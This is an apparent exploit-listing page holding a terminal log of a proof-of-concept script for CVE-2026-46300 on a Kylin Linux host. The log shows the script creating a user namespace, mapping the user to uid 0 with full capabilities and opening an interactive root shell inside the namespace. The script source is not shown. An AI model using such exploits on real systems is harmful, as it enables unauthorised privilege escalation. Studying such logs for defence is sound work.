## https://sploitus.com/exploit?id=8F8A1C2B-6097-5756-A384-62E00739EEC8
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uname -a
Linux Kylin-pc 5.4.18-110-generic #99-KYLINOS SMP Fri Mar 29 09:28:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
python3 CVE-2026-46300.py
=== CVE-2026-46300 Final Test ===
[Child] unshare(CLONE_NEWUSER)...
[+] User namespace created
[*] PID: 11725
[Parent] Writing maps for child PID 11725 ...
[Parent] uid_map -> /proc/11725/uid_map: 0 1000 1
[Parent] setgroups -> deny
[Parent] gid_map -> 0 1000 1
[Child] User maps applied by parent; continuing...
[*] id: uid=0(root) gid=0(root) 组=0(root),65534(nogroup)
[*] whoami: root
[+] whoami 为 root：user namespace 内 uid 0 映射生效（与 id 一致时可认为正常）
[+] Network namespace created
[Child] Configuring network...
[-] ip addr add 127.0.0.1/8 dev lo failed (2): RTNETLINK answers: File exists
[Child] Capabilities (from /proc/self/status):
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[Child] Namespace ready
[*] 在此命名空间内执行命令；标准输出/错误会直接回显。 输入 exit / quit 或 Ctrl+D 结束。
ns> whoami
root
ns>